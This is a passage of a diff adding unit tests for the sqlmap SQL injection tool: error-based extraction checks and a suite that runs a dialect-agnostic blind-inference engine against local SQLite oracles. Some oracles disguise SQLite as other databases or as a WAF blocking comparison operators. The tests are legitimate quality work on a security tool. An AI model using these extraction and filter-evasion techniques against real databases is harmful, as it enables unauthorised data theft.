conf.charset = None + conf.hashDB = None + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.base64Parameter = () + kb.errorChunkLength = 0 + kb.testMode = False + kb.forceWhere = None + kb.injection.place = PLACE.GET + kb.injection.parameter = "id" + kb.technique = PAYLOAD.TECHNIQUE.ERROR + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: _make_vector()} + set_dbms("MySQL") + + def tearDown(self): + conf.hexConvert = self._saved["conf.hexConvert"] + conf.charset = self._saved["conf.charset"] + conf.hashDB = self._saved["conf.hashDB"] + conf.parameters = self._saved["conf.parameters"] + conf.paramDict = self._saved["conf.paramDict"] + conf.base64Parameter = self._saved["conf.base64Parameter"] + kb.errorChunkLength = self._saved["kb.errorChunkLength"] + kb.testMode = self._saved["kb.testMode"] + kb.forceWhere = self._saved["kb.forceWhere"] + kb.technique = self._saved["kb.technique"] + kb.injection.place, kb.injection.parameter, kb.injection.data = self._saved["kb.inj"] + Connect.queryPage = self._saved["qp"] + eu.Request.queryPage = self._saved["qp"] + + def _extract(self, secret, page_template="XPATH syntax error: '%s%s%s'"): + def oracle(payload=None, content=False, raise404=True, **kwargs): + page = page_template % (kb.chars.start, secret, kb.chars.stop) + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + return eu._oneShotErrorUse("SELECT CONCAT(user())") + + def test_simple_value(self): + self.assertEqual(self._extract("root@localhost"), "root@localhost") + + def test_version_string(self): + self.assertEqual(self._extract("5.7.31-0ubuntu0.18.04.1-log"), "5.7.31-0ubuntu0.18.04.1-log") + + def test_value_with_symbols(self): + self.assertEqual(self._extract("a-b_c.d:e/f"), "a-b_c.d:e/f") + + def test_no_markers_returns_none(self): + def oracle(payload=None, content=False, raise404=True, **kwargs): + return ("a perfectly ordinary page with no error", {}, 200) if content else True + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + self.assertIsNone(eu._oneShotErrorUse("SELECT CONCAT(user())")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_esperanto.py b/tests/test_esperanto.py new file mode 100644 index 00000000000..57f6b2b12ed --- /dev/null +++ b/tests/test_esperanto.py @@ -0,0 +1,1095 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Regression suite for the DBMS-agnostic engine (extra/esperanto/), in two parts: + +1. Semantic corpus - round-trips awkward values through an in-memory SQLite boolean + oracle and asserts the correctness invariants the engine must never break: no silent + character substitution or deletion, length never exceeds maxlen (over-length is + flagged), limit=0 is an incomplete empty prefix, NULL stays distinct from '', + truncation sets complete=False, bytes-first extraction is byte-exact, and the + capability fallbacks (pattern-match floor, length-from-substring, LEFT/RIGHT + composition) and the frozen InferenceStrategy hand-off all still extract. + +2. Adversarial dialect scenarios - an intermediate oracle disguises the same SQLite as + a different / hostile back-end by BLOCKING the SQL forms the fake engine lacks and + REWRITING its forms into the SQLite equivalent, so the engine must discover and adapt + the dialect it is handed (substring=SUBSTRING, length=LEN, charcode=ASCII, + concat=CONCAT, no usable '>'/BETWEEN, no readable catalog) rather than only working + on dialects it already knows. + +stdlib unittest only; Python 2.7 and 3.x. +""" + +import binascii +import os +import re +import sqlite3 +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from extra.esperanto import Cap +from extra.esperanto import Esperanto +from extra.esperanto import hostExtract +from extra.esperanto import Integrity + +EXPR = "(SELECT v FROM t)" + +# awkward values (NULL handled separately - it is not a string value) +CORPUS = [ + u"", u"A", u"AB", u"A ", u" leading", u"trailing ", u"two spaces", + u"O'Reilly", u'double"quote', u"comma,value", u"back\\slash", + u"line\nbreak", u"\t", u"é", u"€", u"中文", + u"\U00010348", u"Aé€\U00010348Z", +] + + +def _oracle(value=None, is_null=False): + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES (?)", (None if is_null else value,)) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + return ask + + +# -- adversarial dialect scenarios: one SQLite disguised as many hostile back-ends ----- + +# ground truth seeded into every disguised scenario +_SEED = ( + "CREATE TABLE users (id INTEGER, name TEXT, email TEXT)", + "INSERT INTO users VALUES (1,'luther','a@b.c'),(2,'admin','p@w.n'),(3,'wu',NULL)", +) +_SECRET_EXPR = "(SELECT name FROM users WHERE id=2)" # -> 'admin' + + +def _concatFn(*args): + return "".join(u"" if a is None else (a if isinstance(a, type(u"")) else str(a)) for a in args) + + +def _disguisedOracle(blocked=None, rewrites=(), funcs=()): + """Boolean oracle over a disguised SQLite. `blocked` (regex) forms read False (the + fake engine lacks them); `rewrites` translate the fake engine's forms into SQLite; + `funcs` registers extra SQL functions (e.g. a variadic CONCAT SQLite lacks). The + engine never sees SQLite - it must adapt to whatever back-end the scenario emulates.""" + con = sqlite3.connect(":memory:") + for name, narg, fn in funcs: + con.create_function(name, narg, fn) + for stmt in _SEED: + con.execute(stmt) + con.commit() + blk = re.compile(blocked, re.I) if blocked else None + rw = [(re.compile(p, re.I), r) for p, r in rewrites] + + def ask(cond): + if blk and blk.search(cond): + return False # fake engine doesn't support it + sql = cond + for rx, rep in rw: + sql = rx.sub(rep, sql) + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % sql).fetchone()[0] == 1 + except Exception: + return False + return ask + + +# coherent whole-back-end disguises: each blocks the forms its fake DBMS lacks and maps +# the forms it "has" onto SQLite. All must discover the dialect and dump every row. +# (name, blocked, rewrites, funcs) +_DIALECTS = ( + ("mysql-ish: MID / CHAR_LENGTH / ORD, backtick idents, || is OR -> CONCAT", + r"\bSUBSTR\(|\bSUBSTRING\(|\bLEN\(|\bLENGTH\(|\bASCII\(|\bUNICODE\(|\|\|", + [(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length("), (r"\bORD\(", "unicode("), (r"`", '"')], + [("CONCAT", -1, _concatFn)]), + ("mssql-ish: SUBSTRING / LEN / UNICODE, '+' concat, [..] idents", + r"\bSUBSTR\(|\bMID\(|CHAR_LENGTH\(|\bLENGTH\(|\bASCII\(|\bORD\(|\|\||\bCONCAT\(|\"|`", + [(r"SUBSTRING\(", "substr("), (r"\bLEN\(", "length("), (r"\)\+\(", ")||(")], + ()), + ("postgres-ish: SUBSTRING / LENGTH / ASCII, || concat", + r"\bSUBSTR\(|\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(", + [(r"SUBSTRING\(", "substr("), (r"\bASCII\(", "unicode(")], + ()), + ("oracle-ish: SUBSTR / LENGTH / ASCII / CHR, || concat", + r"\bMID\(|\bLEN\(|CHAR_LENGTH\(|\bUNICODE\(|\bORD\(|\bCHAR\(", + [(r"\bASCII\(", "unicode("), (r"\bCHR\(", "char(")], + ()), + ("waf: code fns and collation stripped -> forced hex extraction", + r"\bASCII\(|\bUNICODE\(|\bORD\(|CODEPOINT\(|COLLATE|AS\s+BLOB", + (), ()), + ("waf: '>'/'<' stripped on top of a MID/CHAR_LENGTH dialect", + r">|<|\bSUBSTR\(|\bSUBSTRING\(|\bLENGTH\(|\bLEN\(|\|\|", + [(r"\bMID\(", "substr("), (r"CHAR_LENGTH\(", "length(")], + [("CONCAT", -1, _concatFn)]), +) + + +class TestEsperanto(unittest.TestCase): + def test_bytes_roundtrip(self): + # bytes-first round-trips EVERY value exactly (the fundamental guarantee) + for v in CORPUS: + esp = Esperanto(_oracle(v)) + esp.discover() + self.assertEqual(esp.extractBytes(EXPR), v.encode("utf-8"), "extractBytes %r" % v) + self.assertEqual(esp.extractText(EXPR), v, "extractText %r" % v) + + def test_no_silent_corruption(self): + # any deviation must be surfaced (replacement marker + warning), never a + # wrong-but-plausible character silently substituted + for v in CORPUS: + for mode in ("code", "ordinal", "collation", "hex"): + esp = Esperanto(_oracle(v)) + esp.discover() + esp.dialect.compare = mode + if mode == "hex": + esp._ensureHexfn() + elif mode == "collation": # SQLite is byte-ordered via BLOB cast + esp.dialect.binwrap = Cap("cast_blob", "CAST(({x}) AS BLOB)") + res = esp.extractResult(EXPR) + if res.value == v: + continue + self.assertTrue(not res.complete and res.warnings, + "silent corruption in %s mode for %r -> %r" % (mode, v, res.value)) + self.assertTrue(u"�" in res.value or res.value == u"", + "%s mode invented a value for %r -> %r" % (mode, v, res.value)) + + def test_null_vs_empty(self): + esp = Esperanto(_oracle(is_null=True)) + esp.discover() + rnull = esp.extractResult(EXPR) + self.assertTrue(rnull.is_null and rnull.value is None, "NULL not null: %r" % rnull) + esp = Esperanto(_oracle(u"")) + esp.discover() + rempty = esp.extractResult(EXPR) + self.assertTrue((not rempty.is_null) and rempty.value == u"" and rempty.complete, + "empty string mis-reported: %r" % rempty) + + def test_limit_and_maxlen(self): + # limit=0 on a non-empty value -> empty prefix, but INCOMPLETE/TRUNCATED + esp = Esperanto(_oracle(u"hello")) + esp.discover() + r0 = esp.extractResult(EXPR, limit=0) + self.assertTrue(r0.value == u"" and r0.truncated and not r0.complete, "limit=0: %r" % r0) + # over-maxlen -> truncated flagged, length bounded + esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=4) + esp.discover() + rt = esp.extractResult(EXPR) + self.assertTrue(rt.truncated and not rt.complete and len(rt.value) <= 4, "over-maxlen: %r" % rt) + + def test_integer(self): + for n in (0, 1, 42, 255, 65535, 1000000, 2147483648, -1, -42): + esp = Esperanto(_oracle()) + esp.discover() + self.assertEqual(esp.extractInteger("(%d)" % n), n, "extractInteger(%d)" % n) + + def test_between_no_saturation(self): + # #1: BETWEEN caps range probes at the ceiling, so an out-of-range value must be + # flagged (truncated length / OverflowError), NEVER converge to a wrong SMALL value + # (the old bug read a len-16 value as length 1 and an int 100/max-10 as 0). + esp = Esperanto(_oracle(u"0123456789ABCDEF"), maxlen=8) # true length 16 > ceiling 8 + esp.discover() + esp._comparator = "between" + n, trunc = esp._measureLength(EXPR, ceiling=8) + self.assertTrue(trunc and n == 8, "between over-length saturated wrong: (%r,%r)" % (n, trunc)) + esp2 = Esperanto(_oracle()) + esp2.discover() + esp2._comparator = "between" + self.assertEqual(esp2.extractInteger("(100)", maximum=1000), 100) + self.assertRaises(OverflowError, esp2.extractInteger, "(100)", 10) + + def test_framing_requires_terminal_marker(self): + # a length-framed token MUST carry its terminal ';' - a truncated final token (no ';') + # must be rejected, not accepted as valid + esp = Esperanto(lambda c: False) + esp._rowLenFramed = True + self.assertEqual(esp._splitRow("V3:414243", 1), (None, False)) # no terminator -> invalid + self.assertEqual(esp._splitRow("V3:414243;", 1), (["ABC"], True)) # terminated -> valid + self.assertEqual(esp._splitRow("V4:414243;", 1), (None, False)) # declared 4 != decoded 3 + + def test_host_native_integrity_parity(self): + # hostExtract must mirror the native EXACT/AMBIGUOUS verdict: in a mode with no byte-exact + # witness (ordinal), both must be WHOLE_BUT_AMBIGUOUS, not native-ambiguous/host-exact. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Admin-42')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|COLLATE|BLOB|BINARY") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if esp._byteFaithful(): + self.skipTest("dialect still byte-faithful") + native = esp.extractResult("(SELECT v FROM t)") + host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)") + self.assertEqual(host.value, native.value) + self.assertFalse(host.exact, "host claimed exact without a witness: %r" % host) + self.assertEqual(host.integrity, native.integrity) + + def test_framing_length_witness_catches_capped_hex(self): + # a HEX fn that silently caps its output (correct up to a point, then truncates) would + # shorten a framed cell. The independent witness in the row token (V:;) + # must reject the shortened token -> fall back to cell-by-cell (which reads the true + # length via substring), so a 400-char value is recovered whole, not silently as 300. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)") + big = "A" * 400 + con.execute("INSERT INTO t VALUES (1, ?)", (big,)) + con.commit() + con.create_function("CHEX", 1, lambda s: binascii.hexlify((s or "").encode("utf-8")[:300]).decode().upper()) + + def ask(cond): + c = re.sub(r"UPPER\(HEX\(([^()]*)\)\)", r"CHEX(\1)", cond) # HEX -> a 300-byte-capped hex + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=8192) + esp.discover() + d = esp.dump("t") + val = d["rows"][0][1] if d and d["rows"] else None + self.assertTrue((val == big and d["complete"]) or (d and not d["complete"]), + "capped hex slipped through: %r len=%s" % ((val or "")[:8], len(val) if val else None)) + + def test_integer_final_equality(self): + # comparator proven on literals, but the backend rewrites '>' to '>=' for scalar/fn + # operands -> bisection converges off-by-one. The final `expr = recovered` check must + # reject it (fail closed) rather than return a silently-wrong integer. + con = sqlite3.connect(":memory:") + + def ask(cond): + c = cond + if re.search(r"(SELECT|LENGTH|UNICODE|SUBSTR|\+)", c, re.I): + c = c.replace(">", ">=") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertRaises(Exception, esp.extractInteger, "(SELECT 5)", 10) # OracleUndecided (fail closed) + + def test_charset_codec_quirks(self): + from extra.esperanto.atlas import _charsetCodec + self.assertEqual(_charsetCodec("latin1"), "cp1252") # MySQL 'latin1' is Windows-1252 + self.assertEqual(_charsetCodec("utf8mb4"), "utf-8") + self.assertEqual(_charsetCodec("utf8mb4_general_ci"), "utf-8") # collation suffix peeled + self.assertEqual(_charsetCodec("WE8MSWIN1252"), "cp1252") # Oracle + self.assertEqual(_charsetCodec("1252"), "cp1252") # SQL Server code page + self.assertEqual(_charsetCodec("AL32UTF8"), "utf-8") + self.assertIsNone(_charsetCodec("some_unknown_set")) + + def test_host_length_code_final_equality(self): + # Round 8 #1: hostExtract must apply the native reader's final-equality to the recovered + # LENGTH and each per-char CODE - a backend that rewrites '>' to '>=' for computed operands + # (LENGTH(..)>n, UNICODE(..)>n) converges off-by-one; the '=' confirmation must fail closed + # rather than hand back silently-wrong code-point text as exact. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Admin-42')") + con.commit() + + def ask(cond): + c = cond + if re.search(r"(LENGTH|UNICODE|SUBSTR)\(", c, re.I): # '>' rewritten for computed operands + c = c.replace(">", ">=") + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % c).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if esp.dialect.compare != "code": + self.skipTest("dialect not in code mode") + host = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)") + # the invariant: anything claimed EXACT must be CORRECT. An off-by-one read is caught by + # the final equality and must surface as non-exact/failed, never as a wrong exact value. + self.assertTrue(host.value == "Admin-42" or not host.exact, + "host handed back a wrong value as exact: %r" % host) + + def test_hex_unknown_codec_non_ascii_not_exact(self): + # Round 8 #2: scalar hex recovery under an UNKNOWN codec must not certify non-ASCII text + # (e.g. utf-8 bytes with an embedded NUL heuristically read as UTF-16). Bytes are faithful; + # only a PROVEN codec makes the decoded text exact. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES (?)", (u"é",)) # utf-8 C3 A9 -> non-ASCII bytes + con.execute("CREATE TABLE a (v TEXT)") + con.execute("INSERT INTO a VALUES ('plain')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if not esp._ensureHexfn(): + self.skipTest("no hex fn") + esp.dialect.charset = None # force UNKNOWN codec + hx = esp.dialect.hexfn + esp.dialect.hexfn = Cap(hx.name, hx[1], encoding=None) + self.assertIsNone(esp._extractViaHex("(SELECT v FROM t)"), # non-ASCII + unknown codec -> refuse + "unknown-codec non-ASCII hex certified as exact") + ascii_r = esp._extractViaHex("(SELECT v FROM a)") # ASCII is codec-invariant -> still OK + self.assertTrue(ascii_r is None or ascii_r.value == "plain") + + def test_bytelen_witness_fails_closed(self): + # Round 8 #5: once a byte-length witness is selected, an UNDECIDED reading must reject the + # bytes (fail closed), never treat "couldn't verify" as "matched". + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abc')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + if not esp._ensureHexfn(): + self.skipTest("no hex fn") + esp.dialect.bytelen = Cap("blen", "OCTET_NOSUCH({expr})") # a byte-length fn that never resolves + self.assertIsNone(esp.extractBytes("(SELECT v FROM t)"), + "undecided byte-length witness slipped through") + + def test_unknown_codec_nul_not_shortened(self): + # Round 8 (final) blocker #1: unknown codec + embedded NUL is genuinely ambiguous - bytes + # 41 00 are valid UTF-8 ("A"+NUL) AND valid UTF-16LE ("A"). _decodeHexToken must refuse + # rather than collapse to a shortened ASCII "A" that then reads as exact. The framed dump + # calls _decodeHexToken directly, so the guard has to live there (not just _extractViaHex). + esp = Esperanto(lambda c: False) + self.assertIsNone(esp._decodeHexToken("4100", None)) # ambiguous -> refuse + self.assertEqual(esp._decodeHexToken("4100", "utf-8"), u"A\x00") # proven codec keeps NUL + self.assertEqual(esp._decodeHexToken("41", None), u"A") # pure ASCII still fine + + def test_lossy_cast_marked_inexact(self): + # Round 8 (final) blocker #2: a text cast that FOLDS non-ASCII to "?" (café -> caf?) yields + # an ASCII-only result, so gating the cast-safety canary on _hasNonAscii(rows) meant it + # never ran on the very failure it defends against. The canary must run whenever a textcast + # was applied, and an unproven cast must not certify source identity. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)") + con.execute(u"INSERT INTO t VALUES (1, 'café')") + con.commit() + con.create_function("LOSSY", 1, lambda s: "".join(c if ord(c) < 128 else "?" for c in (s or ""))) + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + esp.dialect.charset = None # unknown -> exercise the canary path + esp.dialect.textcast = Cap("lossy", "LOSSY({expr})") # a narrowing/folding cast + esp._castPreserves = None + self.assertFalse(esp._castPreservesAccents(), "folding cast wrongly certified as preserving") + d = esp.dump("t") + self.assertTrue(d and d["rows"], "dump returned nothing") + self.assertFalse(d["exact"], "folded (café->caf?) dump reported source-exact: %r" % d["rows"]) + + def test_repl_chars_escalate_to_hex(self): + # a code fn lossy for a column type (Oracle NVARCHAR2 read in code mode marks non-ASCII + # chars outside its alphabet -> _REPL). Rather than return the marked-incomplete value, + # the engine must escalate to the cast+hex path (which the framed dump proves works) and + # recover the value exactly. Without hex, it stays honestly incomplete (no false-complete). + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute(u"INSERT INTO t VALUES ('café-€')") + con.commit() + con.create_function("UNICODE", 1, lambda s: (ord(s[0]) if s and ord(s[0]) < 128 else None)) + + def make(block_hex): + pat = r"\bASCII\(|\bORD\(" + (r"|RAWTOHEX|\bHEX\(|ENCODE\(" if block_hex else "") + blk = re.compile(pat, re.I) + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + return ask + with_hex = Esperanto(make(False)); with_hex.discover() + r = with_hex.extractResult("(SELECT v FROM t)") + self.assertEqual(r.value, u"café-€", "hex escalation failed to recover _REPL value: %r" % r.value) + no_hex = Esperanto(make(True)); no_hex.discover() + r2 = no_hex.extractResult("(SELECT v FROM t)") + self.assertFalse(r2.complete, "no-hex _REPL value must stay incomplete, got complete: %r" % r2.value) + + def test_keyset_cycle_detection(self): + # Round 8 (keyset): paging and read-back can resolve under different collations, so the + # walk can revisit an earlier name (f,e,f,e...). Full cycle detection (not just the + # immediate predecessor) must stop with a partial, de-duplicated list, never loop. + esp = Esperanto(lambda c: True) # _keysetWalk only, no discovery + seq = iter(["f", "e", "f", "e", "f"]) + + class _R(object): + def __init__(self, v): + self.value, self.complete, self.exact, self.is_null = v, True, True, False + esp.extractResult = lambda *a, **k: _R(next(seq)) + esp._ask = lambda c: True + esp._beyondSql = lambda *a, **k: "1=1" + names = esp._keysetWalk("name", "cat", "", 10) + self.assertEqual(names, ["f", "e"], "cycle not detected/deduped: %r" % names) + + def test_terminal_sanitized(self): + from extra.esperanto.__main__ import _safeterm + self.assertEqual(_safeterm(u"ok"), u"ok") + self.assertEqual(_safeterm(u"a\x1b[2Jb"), u"a\\x1b[2Jb") # ANSI clear-screen neutralized + self.assertEqual(_safeterm(u"x\ny"), u"x\\x0ay") # embedded newline neutralized + + def test_comparator_rejects_gte_rewrite(self): + # a '>' -> '>=' rewrite passes 2>1 / !2>3 but FAILS the equality boundary (2>2 must be + # False). the full truth table must reject 'gt' (and fall to BETWEEN) so counts/lengths + # aren't read off-by-one. reproduced: extractInteger('5',max=10) used to return 6. + con = sqlite3.connect(":memory:") + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond.replace(">", ">=")).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + self.assertNotEqual(esp._comparator, "gt", "'>'->'>=' rewrite wrongly accepted as gt") + self.assertEqual(esp.extractInteger("(5)", maximum=10), 5) + + def test_exact_requires_byte_witness(self): + # without a proven hex/binary witness (or code-codepoint), a value is WHOLE_BUT_AMBIGUOUS, + # never EXACT - plain '=' is collation-dependent and can't certify byte-exactness. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('Zz')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB|BINARY") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + r = esp.extractResult("(SELECT v FROM t)") + if esp._byteFaithful(): + self.skipTest("dialect still has a byte-faithful primitive") + self.assertEqual(r.value, "Zz") + self.assertFalse(r.exact, "value marked exact without a byte-faithful witness: %r" % r) + + def test_extractresult_no_contradiction(self): + # a hard defect (incomplete/truncated) is classified before null-exactness + from extra.esperanto import ExtractResult, Integrity + self.assertEqual(ExtractResult(None, is_null=True, complete=False).integrity, Integrity.FAILED) + self.assertEqual(ExtractResult(None, is_null=True, complete=True).integrity, Integrity.EXACT) + self.assertFalse(ExtractResult(None, is_null=True, complete=False).exact) + + def test_host_maxlen_zero(self): + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abcdef')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask) + esp.discover() + r = hostExtract(ask, esp.strategy(), "(SELECT v FROM t)", maxlen=0) + self.assertEqual(r.value, "") + self.assertTrue(r.truncated and not r.complete) + + def test_between_overflow_magnitude(self): + # a positive value beyond BETWEEN's global ceiling fails closed WITHOUT claiming "below + # minimum" (the direction is genuinely unknown to a bounded range predicate) + esp = Esperanto(_oracle()) + esp.discover() + esp._comparator = "between" + try: + esp.extractInteger("(%d)" % ((1 << 62) + 5)) + self.fail("expected OverflowError") + except OverflowError as ex: + self.assertNotIn("below minimum", str(ex)) + + def test_integrity_semantics(self): + # `complete` (walk finished) must be distinct from `exact` (bytes proven identical). + # a case-insensitive collation recovers a WHOLE value that is NOT exact. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('A')") + con.commit() + blk = re.compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|(ASCII|UNICODE|ORD)\(|GLOB|COLLATE|BLOB") + + def ask(cond): + if blk.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s COLLATE NOCASE) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + self.assertEqual(esp.dialect.compare, "equality-ci") + r = esp.extractResult(EXPR.replace("v FROM t", "v FROM t")) + self.assertTrue(r.complete, "case-ci value should be WHOLE: %r" % r) + self.assertFalse(r.exact, "case-ci value must NOT be exact: %r" % r) + self.assertEqual(r.integrity, Integrity.WHOLE_BUT_AMBIGUOUS) + + def test_hostextract_structured_and_tristate(self): + # hostExtract returns an ExtractResult: a bounded read is TRUNCATED (not a bare string), + # and an undecided (None) host observation degrades to a FAILED result, never a fake bit. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (v TEXT)") + con.execute("INSERT INTO t VALUES ('abcdef')") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(ask, maxlen=64) + esp.discover() + strat = esp.strategy() + r = hostExtract(ask, strat, "(SELECT v FROM t)", maxlen=3) + self.assertEqual(r.value, "abc") + self.assertTrue(r.truncated and not r.exact and r.integrity == Integrity.TRUNCATED) + undecided = hostExtract(lambda c: None, strat, "(SELECT v FROM t)") + self.assertTrue(undecided.value is None and not undecided.complete) + + def test_between_overflow_direction(self): + # a positive value above the cap in BETWEEN mode must report ABOVE maximum (not below) + esp = Esperanto(_oracle()) + esp.discover() + esp._comparator = "between" + try: + esp.extractInteger("(100)", maximum=10) + self.fail("expected OverflowError") + except OverflowError as ex: + self.assertIn("exceeds maximum", str(ex)) + + def test_key_uniqueness_gate(self): + # #2: a keyset ordering column MUST be single-column unique + non-NULL. a composite + # key's first column repeats -> `> prev` paging silently drops rows sharing it, so it + # must be REJECTED (COUNT(*) != COUNT(DISTINCT col)); only a unique column is accepted. + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE k (a INT, b INT, u INT, nul INT)") + con.executemany("INSERT INTO k VALUES (?,?,?,?)", [(1, 1, 10, 1), (1, 2, 20, None), (2, 1, 30, 3)]) + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + self.assertFalse(esp._keyIsUnique("a", "k"), "non-unique composite-first column accepted") + self.assertFalse(esp._keyIsUnique("nul", "k"), "nullable column accepted as key") + self.assertTrue(esp._keyIsUnique("u", "k"), "unique non-null column rejected") + + def test_fixup_length(self): + # a trailing-space-trimming length fn is rebuilt as LEN(x||'.')-1 + esp = Esperanto(_oracle(u"x")) + esp.discover() + esp.dialect.length = Cap("LEN", "LEN({expr})", unit="characters", trailing=False, empty_is_null=False) + esp.dialect.concat = Cap("plus", "({a})+({b})") + esp._fixupLength() + self.assertTrue(esp.dialect.length.name.endswith("+dot") and esp.dialect.length.get("trailing"), + "_fixupLength did not rebuild: %r" % esp.dialect.length) + + def test_lit_escaping(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + esp._backslashEscape = True + self.assertEqual(esp._lit("\\"), "'\\\\'") + esp._backslashEscape = False + self.assertEqual(esp._lit("\\"), "'\\'") + self.assertEqual(esp._lit("'"), "''''") + + def test_build_literal(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + lit = esp.buildLiteral("a\\b'c") + self.assertTrue(esp._ask("%s IS NOT NULL" % lit), "buildLiteral invalid SQL: %s" % lit) + self.assertEqual(esp.extract(lit), "a\\b'c") + + def test_coalesce(self): + esp = Esperanto(_oracle(u"x")) + esp.discover() + if esp.dialect.coalesce: + self.assertEqual(esp.extract(esp.coalesce("NULL", "'Z'")), "Z") + + def test_enumerate(self): + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE alpha (x)") + con.execute("CREATE TABLE beta (y)") + con.commit() + + def ask(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except Exception: + return False + esp = Esperanto(ask) + esp.discover() + tabs = set(esp.enumerate("table", limit=10) or []) + self.assertTrue(set(["alpha", "beta"]).issubset(tabs), "enumerate tables: %r" % tabs) + + def test_dump(self): + # row DATA byte-exact, including commas / quotes / unicode (hex framing keeps intact) + con = 